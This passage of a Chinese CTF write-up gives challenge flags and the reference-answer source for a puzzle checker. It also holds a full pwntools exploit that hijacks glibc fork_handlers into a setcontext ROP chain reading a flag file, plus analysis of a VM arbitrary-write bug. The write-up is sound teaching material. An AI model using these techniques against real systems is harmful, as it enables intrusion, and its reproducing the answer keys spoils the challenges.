s = rc4_init(key.encode())
print(rc4_crypt(s, enc))UniCTF{Th1S_1S_v1ry_S1nnpl1_r1ght?}im_revenge
因为有im源码的存在所以本题的难度大概只为原题的1/10。
只需要学习源码后得出逆向模型的思路后解题即可
如果im认真做的话,这道题不是难事
懒得开虚拟机截图了,exp不是重点,重点在于逆向过程,不再过多赘述基础的东西,看其他选手的wp或者源码喂ai都可以。(我觉得我把ai写的wp发一遍也没什么意思,所以我所有题目都把源码放出来了,随意使用,想怎么用怎么用)
源码如下,只修改了灯阵
import dataclasses
import enum
import functools
import logging
import operator
import pickle
import string
import zstandard as zstd
from .better_tracr_compiling import compile_rasp_to_model
from tracr.rasp import rasp
logger = logging.getLogger(__name__)
INITIAL_BOARD_EXAMPLE = """
#__#_____#
_______#__
_3____0___
__2__#___1
___10#____
____1##___
#___2__2__
___#____#_
__1_______
0_____1__0
""".strip()
# fmt: off
REFERENCE_ANSWER_EXAMPLE = [
0, 1, 0, 0, 1, 0, 0, 0, 0, 0,
0, 0, 0, 1, 0, 0, 0, 0, 0, 0,
1, 0, 1, 0, 0, 0, 0, 0, 0, 1,
0, 1, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 1, 0, 0, 0,
0, 0, 0, 1, 0, 0, 0, 1, 0, 0,
0, 0, 1, 0, 0, 1, 0, 0, 1, 0,
1, 0, 0, 0, 1, 0, 0, 0, 0, 1,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0,
0, 0, 1, 0, 0, 0, 0, 1, 0, 0,
]
# fmt on
# https://www.chiark.greenend.org.uk/~sgtatham/puzzles/js/lightup.html#11x11:dB1c1a1aBl1a1b1n3bBbBaBBc3aBcBBaBbBb2n0b2a1l0a0a1c00d
# INITIAL_BOARD = """
# ____#1___1_
# 1_#________
# ____1_1__1_
# ___________
# __3__#__#_#
# #___3_#___#
# #_#__#__2__
# ___________
# _0__2_1____
# ________0_0
# _1___00____
# """.strip()
# # fmt: off
# REFERENCE_ANSWER = [
# 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1,
# 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0,
# 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0,
# 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0,
# 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0,
# 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0,
# 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1,
# 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
# 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0,
# 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
# 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0,
# ]
# # fmt: on
# https://www.chiark.greenend.org.uk/~sgtatham/puzzles/js/lightup.html#11x11:dB1c1a1aBl1a1b1n3bBbBaBBc3aBcBBaBbBb2n0b2a1l0a0a1c00d
# --- 新灯阵(11x11)---
INITIAL_BOARD = """
_#_________
_#_2_#_0_11
___________
_1__#____0_
_____#_#___
_#__2_2__#_
___0_3_____
_#____#__#_
___________
##_2_3_#_#_
_________#_
""".strip()
# --- 新灯阵的唯一解(row-major 展平 121 位)---
# fmt: off
REFERENCE_ANSWER = [
0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0,
0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1,
1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0,
0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0,
0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0,
0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0,
0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0,
0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0,
0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0,
]
# fmt: on
_BOS = "BOS"
_EOS = "EOS"
INCORRECT_MESSAGES = [
"This flag is like a mismatched sock, it just doesn't belong. Pair it correctly and come back.",
"Oh, so close! And by close, I mean not even in the same timezone. Try again!",
"Nice try, but this flag wouldn't even pass a Turing test. Give it another shot!",
"Error 404: Your flag not found in our universe. Check your coordinates.",
"This flag is so wrong, it's not even wrong. Back to the drawing board!",
"If this were a game of hot and cold, you'd be a popsicle. Try again, warmer this time.",
"Beep boop, flag rejected. My silicon heart remains unmoved by your attempt.",
"You must've used a random string generator. Because that's not it, human.",
"Your flag has been flagged for being egregiously incorrect. Please revise.",
"I appreciate your creativity, but the flag needs to be correct, not imaginative.",
]
CORRECT_MESSAGE = (
"Congratulations! The flag is unictf{hashlib.sha256(your_input).hexdigest()}."
)
def _message_character_at(i, ok):
msg = CORRECT_MESSAGE if ok else INCORRECT_MESSAGES[0]
return msg[i] if i < len(msg) else _EOS
class Predicate(enum.Enum):
EQ = 0
LT = 1
GT = 2
_PREDICTATE_TO_OPERATOR = {
Predicate.EQ: operator.eq,
Predicate.LT: operator.lt,
Predicate.GT: operator.gt,
}
def _apply_pred(id2pv, pvid: rasp.Value, value: rasp.Value) -> bool:
assert isinstance(pvid, int) and isinstance(value, int)
pred, expected = id2pv[pvid]
return _PREDICTATE_TO_OPERATOR[pred](value, expected)
@dataclasses.dataclass
class Condition:
"""
Checks that |solution[coords].sum() <predicate> value| holds.
"""
coords: set[int]
value: int
predicate: Predicate
class Checker:
"""
Checks whether the solution is correct for the given initial board of Light Up
(Akari), a binary-determination logic puzzle published by Nikoli.
Light Up is played on a rectangular grid of white and black cells. The player places
light bulbs in white cells such that no two bulbs shine on each other, until the
entire grid is lit up. A bulb sends rays of light horizontally and vertically,
illuminating its entire row and column unless its light is blocked by a black cell.
A black cell may have a number on it from 0 to 4, indicating how many bulbs must be
placed adjacent to its four sides; for example, a cell with a 4 must have four bulbs
around it, one on each side, and a cell with a 0 cannot have a bulb next to any of
its sides. An unnumbered black cell may have any number of light bulbs adjacent to
it, or none. Bulbs placed diagonally adjacent to a numbered cell do not contribute
to the bulb count.
Checker first generates a list of conditions to be satisfied by the solution, and
then when the solution is provided, it checks whether all the conditions are met.
"""
_grid: list[str]
_n: int
_m: int
_conditions: list[Condition]
_DXDY = [(0, 1), (0, -1), (1, 0), (-1, 0)]
def __init__(self, board: str):
self._grid = board.strip().splitlines()
self._n = len(self._grid)
self._m = len(self._grid[0])
assert all(len(row) == self._m for row in self._grid)
self._conditions = self._build_conditions()
def _build_conditions(self) -> list[Condition]:
result = []
# Numbered cells or walls must not have bulbs.
must_be_zero_cells = {
self._coord(i, j)
for i in range(self._n)
for j in range(self._m)
if self._grid[i][j] != "_"
}
result.append(Condition(must_be_zero_cells, 0, Predicate.EQ))
# Numbered cells must have the correct number of bulbs around them.
for i in range(self._n):
for j in range(self._m):
if self._grid[i][j] in "01234":
result.append(
Condition(
set(self._adjacent_coord(i, j)),
int(self._grid[i][j]),
Predicate.EQ,
)
)
# Bulbs must not shine on each other.
# Scan horizontally.
for i in range(self._n):
cur = []
for j in range(self._m + 1):
if j >= self._m or self._grid[i][j] != "_":
if cur:
result.append(Condition(set(cur), 2, Predicate.LT))
cur = []
else:
cur.append(self._coord(i, j))
# Scan vertically.
for j in range(self._m):
cur = []
for i in range(self._n + 1):
if i >= self._n or self._grid[i][j] != "_":
if cur:
result.append(Condition(set(cur), 2, Predicate.LT))
cur = []
else:
cur.append(self._coord(i, j))
# All empty cells must be lit up.
for i in range(self._n):
for j in range(self._m):
if self._grid[i][j] != "_":
continue
visible_from_here = set()
for di, dj in self._DXDY:
ii, jj = i, j
while self._in_bound(ii, jj) and self._grid[ii][jj] == "_":
visible_from_here.add(self._coord(ii, jj))
ii += di
jj += dj
result.append(Condition(visible_from_here, 0, Predicate.GT))
return result
def _coord(self, i: int, j: int) -> int:
return i * self._m + j
def _in_bound(self, i: int, j: int) -> bool:
return 0 <= i < self._n and 0 <= j < self._m
def _xy(self, coord: int) -> tuple[int, int]:
return divmod(coord, self._m)
def _adjacent(self, i: int, j: int) -> list[tuple[int, int]]:
return [
(i + di, j + dj) for di, dj in self._DXDY if self._in_bound(i + di, j + dj)
]
def _adjacent_coord(self, i: int, j: int) -> list[int]:
return [self._coord(i, j) for i, j in self._adjacent(i, j)]
def _debug(self, solution, condition: Condition) -> str:
result = f"Sum: {sum(solution[coord] for coord in condition.coords)}\n"
for coord in condition.coords:
x, y = self._xy(coord)
result += f"{x}, {y} = {solution[coord]} ({self._grid[x][y]})\n"
return result
def check(self, solution: list[int]) -> bool:
if len(solution) != self._n * self._m:
return False
for condition in self._conditions:
total = sum(solution[coord] for coord in condition.coords)
opr = _PREDICTATE_TO_OPERATOR[condition.predicate]
if not opr(total, condition.value):
logger.debug(
"Condition not met: %s\n%s",
condition,
self._debug(solution, condition),
)
return False
return True
def to_tracr_program(self):
from . import miprim
from tracr.compiler.lib import length, make_count
decoded_input = rasp.Map(
lambda x: ord(x) - 0x30 if isinstance(x, str) and x in "01" else 0,
rasp.tokens,
)
sn = self._n * self._m
assert sn <= 200
length_ok = length == self._n * self._m
input_format_ok = rasp.Map(
lambda x: isinstance(x, str) and x in "01", rasp.tokens
)
all_ok = length_ok & input_format_ok
parts = (len(self._conditions) + sn - 1) // sn
chunk_size = min((len(self._conditions) + parts - 1) // parts, sn - 1)
pv2id = {}
for cond in self._conditions:
pv2id.setdefault((cond.predicate, cond.value), len(pv2id))
id2pv = {v: k for k, v in pv2id.items()}
for i in range(0, len(self._conditions), chunk_size):
chunk = self._conditions[i : i + chunk_size]
coords = [cond.coords for cond in chunk]
pvids = [pv2id[(cond.predicate, cond.value)] for cond in chunk]
pvids = miprim.make_constant_sequence(pvids, default=0)
values = miprim.sum_01_sequence(decoded_input, coords, max_seq_len=128)
cur = rasp.SequenceMap(functools.partial(_apply_pred, id2pv), pvids, values)
cur = miprim.set_out_of_range_value_to_true(cur, range(len(chunk)))
all_ok &= cur
all_ok = make_count(all_ok, True) == sn
return rasp.SequenceMap(_message_character_at, rasp.indices, all_ok)
def _prettify_output(out):
if out[0] == "BOS":
out = out[1:]
if "EOS" in out:
out = out[: out.index("EOS")]
if isinstance(out[0], str):
out = "".join(out)
return out
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
parser.add_argument(
"-o", "--output", help="Output file", default="challenge.pkl.zst"
)
args = parser.parse_args()
# logging.basicConfig(level=logging.DEBUG)
checker = Checker(INITIAL_BOARD)
print("Interpret:", checker.check(REFERENCE_ANSWER))
prog = checker.to_tracr_program()
# This is cursed man, I just want to serialize my model, it's ridiculous.
# I have to fork the code?????
result = compile_rasp_to_model(
prog,
vocab=set(string.printable),
max_seq_len=128,
compiler_bos=_BOS,
mlp_exactness=100000,
)
model = result.assembled_model
encoded_answer = list(map(str, REFERENCE_ANSWER))
wrong_answer = list(map(str, REFERENCE_ANSWER))
wrong_answer[-1] = "1"
print("RASP presented with correct answer:", _prettify_output(prog(encoded_answer)))
print("RASP presented with wrong answer:", _prettify_output(prog(wrong_answer)))
print("Correct:", _prettify_output(model.apply([_BOS] + encoded_answer).decoded)) # type: ignore
print("Wrong:", _prettify_output(model.apply([_BOS] + wrong_answer).decoded)) # type: ignore
# Dump
cctx = zstd.ZstdCompressor()
with open(args.output, "wb") as fp, cctx.stream_writer(fp) as cfp:
pickle.dump(
{
"config": {
"num_heads": model.model_config.num_heads,
"num_layers": model.model_config.num_layers,
"key_size": model.model_config.key_size,
"mlp_hidden_size": model.model_config.mlp_hidden_size,
"dropout_rate": model.model_config.dropout_rate,
"activation_function": "relu",
"layer_norm": model.model_config.layer_norm,
"causal": model.model_config.causal,
},
"params": model.params,
"input_encoder": model.input_encoder,
"output_encoder": model.output_encoder,
"residual_labels": model.residual_labels,
"embed_spaces": result.embed_spaces,
},
cfp,
)
Pwn
Fission
不是很懂为什么三解之后没有再出新解了,本来那天想给个 hint,结果刚问完就有人出了,后面三血全被拿了,还以为很简单呢 :(
这题是围绕对 fork_handlers 的利用来设计的。核心思路是利用一次小范围任意写,篡改 glibc 中 fork_handlers,在 fork() 时触发 gets -> setcontext,最终拼 ORW 链读出 flag。
fork_handlers 的原理与利用细节可以直接参考这篇文章:
https://sashactf.gitbook.io/pwn-notes/pwn/fork_gadget
保护与环境
❯ checksec vuln
[*] '/home/neptune/unictf/Fission/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled程序还开启了 seccomp,
❯ seccomp-tools dump ./vuln
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x0000000e if (A != rt_sigprocmask) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS只允许上面白名单中的几个系统调用,所以只能打 ORW。
反编译
可以看到反编译后的程序非常精简,设置 seccomp,触发一次 fflush(0),运行一下打印出了某个地址;接着读取任意写的地址和大小,然后任意写,最后调用 fork 后立即通过系统调用退出,而程序在 fork() 之前还做了两件很关键的事情:
1) 限制 fd 数量
反编译开头出现了 close(3..255) + setrlimit(RLIMIT_NOFILE, 4) 的逻辑,并且 xmmword_A50 就是 rlim_cur=4, rlim_max=4 的打包常量。这样一来:
进程启动时只剩下
0/1/2openat("flag")拿到fd=3是预期解必须的之后想再
openat("/proc/self/fd/0")会直接EMFILE由于不允许
close,无法回收 fd
这一步专门封住了重新打开
stdin得到新fd再多次小read的绕法。
2) 二段 seccomp
反编译中后段出现多组 xmmword_* 的加载,它们拼出的就是第二段 BPF。按语义理解,规则是:
fork()触发前才安装第二段只对
read做严格参数过滤:fd==0时:仅允许count<=1且buf==stdin_buffd!=0时:允许count<=0x100其他情况直接
KILL
xmmword 与条件的对应
xmmword 里应该是每条 8 字节的两条 sock_filter 拼在一起,字段布局为:[code(16)][jt(8)][jf(8)][k(32)]。把 xmmword 拆成两个 64-bit,再按小端还原字段,就能对应到这些条件。对应关系如下:
xmmword_9D0 / 9E0 / 9F0:arch 检查 + 默认KILL/ALLOW框架。xmmword_A30:fd的低/高 32 位校验,fd==0才进入严格分支。xmmword_A40:count<=1的阈值判断,只允许 stdin 1 字节小读。xmmword_A50 / A60:buf和stdin_buf比较的低/高 32 位匹配。xmmword_A70 / A20 / A10 / A00:fd!=0的回退分支count<=0x100以及RET ALLOW/KILL的组合。
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int i; // ebx
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
unsigned __int64 n0xF; // r15
__int64 chk; // rax
unsigned __int64 n0x65_1; // r15
__int64 v11; // r12
unsigned __int64 n0x65_2; // r13
ssize_t v13; // rax
__int16 n21; // [rsp+0h] [rbp-118h] BYREF
int v15; // [rsp+2h] [rbp-116h]
__int16 v16; // [rsp+6h] [rbp-112h]
_BYTE *rlimits_1; // [rsp+8h] [rbp-110h]
__int64 v18; // [rsp+10h] [rbp-108h] BYREF
unsigned __int64 n0x65; // [rsp+18h] [rbp-100h]
_BYTE rlimits[168]; // [rsp+20h] [rbp-F8h] BYREF
__int64 v21; // [rsp+C8h] [rbp-50h]
int n16777237; // [rsp+D0h] [rbp-48h]
int v23; // [rsp+D4h] [rbp-44h]
__int128 v24; // [rsp+D8h] [rbp-40h]
for ( i = 3; i != 256; ++i )
close(i);
*(_OWORD *)rlimits = xmmword_A80;
if ( !setrlimit(RLIMIT_NOFILE, (const struct rlimit *)rlimits) )
{
setvbuf(stdin, &buf, 0, 1u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
memcpy(rlimits, &src_, sizeof(rlimits));
n21 = 21;
v15 = 0;
v16 = 0;
rlimits_1 = rlimits;
if ( !prctl(38, 1, 0, 0, 0) && !prctl(22, 2, &n21) )
{
n0xF = 0;
sub_1F80(22, 2, v4, v5, v6, v7, n21);
fflush(0);
write(1, 0, 8u);
do
{
chk = _read_chk(0, (char *)&v18 + n0xF, 16 - n0xF);
if ( chk <= 0 )
goto LABEL_15;
n0xF += chk;
}
while ( n0xF <= 0xF );
n0x65_1 = n0x65;
if ( n0x65 < 0x65 )
{
if ( n0x65 )
{
v11 = v18;
n0x65_2 = 0;
while ( 1 )
{
v13 = read(0, (void *)(v11 + n0x65_2), n0x65_1 - n0x65_2);
if ( v13 <= 0 )
break;
n0x65_2 += v13;
if ( n0x65_2 >= n0x65_1 )
goto LABEL_14;
}
}
else
{
LABEL_14:
*(_OWORD *)rlimits = xmmword_9D0;
*(_OWORD *)&rlimits[16] = xmmword_9E0;
*(_OWORD *)&rlimits[32] = xmmword_9F0;
*(_OWORD *)&rlimits[48] = xmmword_A40;
*(_OWORD *)&rlimits[64] = xmmword_A60;
*(_OWORD *)&rlimits[80] = xmmword_A30;
*(_OWORD *)&rlimits[96] = xmmword_A50;
*(_OWORD *)&rlimits[112] = xmmword_A10;
*(_OWORD *)&rlimits[128] = xmmword_A00;
*(_OWORD *)&rlimits[144] = xmmword_A70;
*(_DWORD *)&rlimits[160] = 50331669;
*(_DWORD *)&rlimits[164] = (unsigned int)&buf;
v21 = 0x1C00000020LL;
n16777237 = 16777237;
v23 = (unsigned __int64)&buf >> 32;
v24 = xmmword_A20;
n21 = 25;
v15 = 0;
v16 = 0;
rlimits_1 = rlimits;
if ( !prctl(22, 2, &n21) )
{
LABEL_16:
fork();
syscall(60, 0);
JUMPOUT(0x1F77);
}
}
}
}
}
LABEL_15:
syscall(60, 0);
goto LABEL_16;
}
unsigned __int64 sub_1F80(int n22, int n2, ...)
{
gcc_va_list va; // [rsp+B0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+D0h] [rbp-8h]
va_start(va, n2);
v4 = __readfsqword(0x28u);
_vprintf_chk(2, "gift: ", va);
return __readfsqword(0x28u);
}
.rodata:00000000000009D0 _rodata segment para public 'CONST' use64
.rodata:00000000000009D0 assume cs:_rodata
.rodata:00000000000009D0 ;org 9D0h
.rodata:00000000000009D0 xmmword_9D0 xmmword 0C000003E000100150000000400000020h
.rodata:00000000000009D0 ; DATA XREF: main+1C6↓r
.rodata:00000000000009E0 xmmword_9E0 xmmword 208000000000000006h
.rodata:00000000000009E0 ; DATA XREF: main+1D2↓r
.rodata:00000000000009F0 xmmword_9F0 xmmword 7FFF0000000000060000000000010015h
.rodata:00000000000009F0 ; DATA XREF: main+1DE↓r
.rodata:0000000000000A00 xmmword_A00 xmmword 20000000200000000007000015h
.rodata:0000000000000A00 ; DATA XREF: main+22C↓r
.rodata:0000000000000A10 xmmword_A10 xmmword 24000000207FFF000000000006h
.rodata:0000000000000A10 ; DATA XREF: main+21D↓r
.rodata:0000000000000A20 xmmword_A20 xmmword 80000000000000067FFF000000000006h
.rodata:0000000000000A20 ; DATA XREF: main+281↓r
.rodata:0000000000000A30 xmmword_A30 xmmword 0C0000150000002400000020h
.rodata:0000000000000A30 ; DATA XREF: main+202↓r
.rodata:0000000000000A40 xmmword_A40 xmmword 20000150000001000000020h
.rodata:0000000000000A40 ; DATA XREF: main+1EA↓r
.rodata:0000000000000A50 xmmword_A50 xmmword 100000A00250000002000000020h
.rodata:0000000000000A50 ; DATA XREF: main+20E↓r
.rodata:0000000000000A60 xmmword_A60 xmmword 500150000001400000020h
.rodata:0000000000000A60 ; DATA XREF: main+1F6↓r
.rodata:0000000000000A70 xmmword_A70 xmmword 18000000200000000100050025h
.rodata:0000000000000A70 ; DATA XREF: main+23B↓r
.rodata:0000000000000A80 xmmword_A80 xmmword 40000000000000004h
.rodata:0000000000000A80 ; DATA XREF: main+3F↓r可以看到程序提供:
libc 泄漏:
fflush(NULL)返回前的寄存器残留 +write(1, rdi, 8)一次任意地址写:
read到任意地址,大小为 100 字节退出前调用
fork():一定触发 fork handlers
IDA 把
rsi误还原成 0,真实为mov rsi, rdi,因此是write(1, rdi, 8)泄漏。
漏洞点总结
泄漏一个地址
小范围任意写
fork()被调用
利用思路
1) fork handlers 结构 (glibc 2.36+ / 2.42)
在 2.36+ 版本,fork_handler:
每个 handler 大小
0x28结构中需写入
id
2) 小写一次 + 二段式
由于单次写限制大小,不能写入完整的 ucontext + ROP,所以采用两段式:
payload1:写入
fork_handlers结构,让fork()依次执行:gets(ctx_addr)setcontext(ctx_addr)
payload2:由
gets从 stdin 写入,包含ucontext和 ORW ROP 链
这样只需要一次小写,后续大 payload 由 gets 引导输入。
这里要注意一个问题,
gets读取的 payload2 中不能用\x0A,这样会被gets当作换行符而导致攻击失败。出题人其实本来做的是 Ubuntu 25.10 的镜像,但是 libc 中 唯一的syscall retgadget 中居然存在\x0A,而且就算开启了 ASLR,libc 基址的低 5 字节也很诡异地不发生变化,导致在本地调试时必定失败,而攻击远程测试 docker 时却没问题,另外一位 PWN 方向的出题人也复现了这个问题,所以为了减少困扰,决定将镜像更换为 archlinux,对做题没有影响。
3) setcontext + ORW
setcontext 用来切换寄存器到 ROP 栈。
ORW 链:
openat(AT_FDCWD, "flag", 0)read(fd, buf, 0x80)write(1, buf, 0x80)
构造
# payload1: fork_handlers -> gets -> setcontext
payload1 = forge(fork_handlers, libc.sym.gets, libc.sym.setcontext, rdi=ctx_addr)
# payload2: ucontext + ORW chain
payload2 = ucontext
payload2 += chain
payload2 += b"\x00" * BUF_SIZE
payload2 += b"flag\x00"发送顺序:
写入 payload1
通过
gets输入 payload2
总结
泄漏 libc 指针,计算 libc base
定位
fork_handlers用第一次写改
fork_handlers为gets -> setcontextfork()触发gets,写入ucontext + ROPsetcontext切换到 ROP 执行 ORW
exp
#!/usr/bin/env python3
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
# io = process("./vuln_patched")
io = remote("localhost", 9999)
libc = ELF("./libc.so.6")
def header(array_ptr, used):
return p64(used) * 2 + p64(array_ptr)
def handler_array(*funcs):
assert funcs
n = len(funcs)
total = 0x28 * n
data = bytearray(total)
for i, fn in enumerate(funcs[::-1]):
off = i * 0x28
data[off : off + 8] = p64(fn)
data[off + 0x20 : off + 0x28] = p64(i)
return bytes(data).rstrip(b"\x00") + b"\x00\x00"
def forge(base, *funcs, rdi=None):
assert funcs
n = len(funcs)
if rdi is None:
used = n
array_ptr = base + 0x18
else:
used = rdi
array_ptr = (base + 0x18 - (used - n) * 0x28) & 0xFFFFFFFFFFFFFFFF
return header(array_ptr, used) + handler_array(*funcs)
def build_ucontext(rsp, rip, rdi=0, rsi=0, rdx=0):
frame = SigreturnFrame()
frame.rsp = rsp
frame.rip = rip
frame.rdi = rdi
frame.rsi = rsi
frame.rdx = rdx
setattr(frame, "&fpstate", rsp + 0x1A8)
fpstate = {
0x00: p16(0x37F), # cwd
0x02: p16(0xFFFF), # swd
0x04: p16(0x0), # ftw
0x06: p16(0xFFFF), # fop
0x08: 0xFFFFFFFF, # rip
0x10: 0x0, # rdp
0x18: 0x1F80, # mxcsr
}
return flat(
{
0x00: bytes(frame),
0x128: 0,
0x1A8: fpstate,
}
)
io.recvuntil(b"gift: ")
leak = u64(io.recvn(8))
libc.address = leak - 0x8F1E0
log.success(f"libc base: {hex(libc.address)}")
fork_handlers = libc.sym.re_syntax_options + 0x80
log.success(f"fork_handlers: {hex(fork_handlers)}")
rop = ROP(libc)
ret = rop.find_gadget(["ret"])[0]
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
pop_rsi = rop.find_gadget(["pop rsi", "ret"])[0]
pop_rax = rop.find_gadget(["pop rax", "ret"])[0]
syscall = rop.find_gadget(["syscall", "ret"])[0]
BUF_SIZE = 0x80
ctx_addr = fork_handlers + 0x200
def build_chain(buf_addr, path_addr):
return flat(
[
pop_rdi,
constants.AT_FDCWD,
pop_rsi,
path_addr,
pop_rax,
constants.SYS_openat,
syscall,
pop_rdi,
3,
pop_rsi,
buf_addr,
pop_rax,
constants.SYS_read,
syscall,
pop_rdi,
1,
pop_rsi,
buf_addr,
pop_rax,
constants.SYS_write,
syscall,
]
)
ucontext_size = len(build_ucontext(0, 0))
rop_addr = ctx_addr + ucontext_size
chain = build_chain(0, 0)
buf_addr = rop_addr + len(chain)
path_addr = buf_addr + BUF_SIZE
chain = build_chain(buf_addr, path_addr)
ucontext = build_ucontext(rop_addr, ret, rdx=BUF_SIZE)
payload1 = forge(fork_handlers, libc.sym.gets, libc.sym.setcontext, rdi=ctx_addr)
payload2 = ucontext
payload2 += chain
payload2 += b"\x00" * BUF_SIZE
payload2 += b"flag\x00"
if b"\n" in payload2:
raise ValueError("payload2 contains newline; try again due to ASLR")
req1 = p64(fork_handlers) + p64(len(payload1))
io.send(req1)
io.send(payload1)
io.sendline(payload2)
io.interactive()Micro?Macro!
出这道题的缘由其实是前段时间学 LLVM 的时候看到 SSA 的部分,感觉挺有意思的,就在 AI 的协助下搓了这个系列的题,ret2libc 又太无聊了,都做 VM PWN 了你还搁着 ret2libc 呢?所以就想了一下,可以通过 VM 的运行机制直接一步获取 shell,并且绕过 ASLR 和 PIE 的保护。这道题和另一道题是一个系列的,其实本来就直接叫 SSA,后来感觉太单调了,没意思,就参考 AI 的意见,想了一个这个名字。原因其实是这道题对指令进行了混淆,操作时要使用指令码,而给的漏洞其实非常直白,而且利用面很广,所以我觉得还是挺切题的哈哈。
分析
拿到二进制后,先做常规的 checksec,确认保护信息与后续利用方向,可以看见保护全开,符号表也被去掉了:
❯ checksec vuln
[*] '/home/neptune/unictf/Micro?Macro!/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No程序交互非常简单,只提供一个“指令编排 + 执行”的 VM:
inst <opcode> [params]:添加一条指令到程序缓冲区run:依次执行已编排的指令dbg:打印随机的寄存器槽位索引rand_slothelp/exit:辅助命令
数据结构还原
逆向 init、addInst、以及各 op_handler_x,就可以还原出两个核心结构体:
1) 寄存器槽位(values)
values 通过 memset 清零 0x200 字节,且访问方式是 values + 16 * idx,因此可视为 32 个槽位,每个槽位 16 字节:
typedef struct {
uint32_t tag; // 0: 整数, 1: 指针, 2: 函数指针
uint32_t pad;
uint64_t data; // 整数、指针或函数指针
} Slot; // sizeof(Slot) = 0x10
Slot values[32];程序中另有 qword_50C8,其实是 values + 8 的别名,用来取 data 字段:
qword_50C8[2 * idx] == values[idx].data初始化时会随机选一个槽位:
rand_slot = rand() % 32,且确保在 16~31 之间values[rand_slot].tag = 1values[rand_slot].data = &values
这意味着有一个“已知类型为指针的寄存器”,其值指向 values 基址。不给这个的话还真不好搞,特别是另一题保护更多。
2) 指令缓冲区(program)
program 大小 0x600,每条指令 24 字节,因此最多 64 条:
typedef struct {
uint8_t opcode;
uint32_t a;
uint32_t b;
uint32_t c;
uint64_t imm;
} Inst; // sizeof(Inst) = 0x18
Inst program[64];addInst 解析用户输入后写入 program,run 依次执行。
指令集与语义
decode_opcode 通过一层跳转表和 opcode_map 做映射,做了一坨混淆,但是其实没什么用,把汇编扔给 AI 分析就知道其实逻辑等价于:
int decode_opcode(uint8_t encoded_op)
{
for (int i = 0; i < 8; i++) {
if (opcode_map[i] == encoded_op) {
return i;
}
}
return -1;
}实际有效的 opcode 字节如下:
opcode | 处理函数 | 语义 |
|
| CONST: |
|
| ADD:立即数相加或指针+偏移 |
|
| PHI:按条件拷贝一个槽位 |
|
| LOAD: |
|
| STORE: |
|
| CALL:调用函数指针(要求 func.tag=2) |
|
| PRINT:输出槽位内容 |
|
| EXIT |
语义细节:
CONST:
values[dst].tag = 0,values[dst].data = imm。ADD:
- tag=0 + tag=0:结果仍为立即数。
- tag=1 + tag=0:指针算术,结果 tag=1,可以通过这个操作从随机槽位获取指针。
LOAD:
- src.tag=1 且 src.data != NULL 时,将 *(uint64_t*)src.data 读入 dst,并设置 dst.tag=0。
STORE:
- dst.tag=1 且 src.tag=0,执行 *(uint64_t*)dst.data = src.data。
CALL:
- func.tag=2 时调用 func.data(arg),其中 arg 取自另一个槽位,若参数槽位 tag=0/1 则取其 data。
漏洞点分析
漏洞核心在 STORE 的任意地址写 + 类型字段可被改写:
初始化就给了一个指向
values基址的指针槽位(rand_slot)。ADD允许指针 + 立即数的运算,因此可以构造任意地址指针:
- 以
&values为基址,加上已知偏移即可定位到 GOT、values内部字段等任意位置。
STORE对写入地址没有任何边界检查。
因此可以:
通过
&values + 偏移读取 GOT 中函数地址,完成 libc 泄漏;通过
STORE改写values[某槽位].tag,把“立即数槽位”伪造成“函数指针槽位”,从而触发CALL执行任意函数。
利用思路
确定指针基址槽位
执行 dbg 得到 rand_slot。该槽位满足:
values[rand_slot].tag = 1
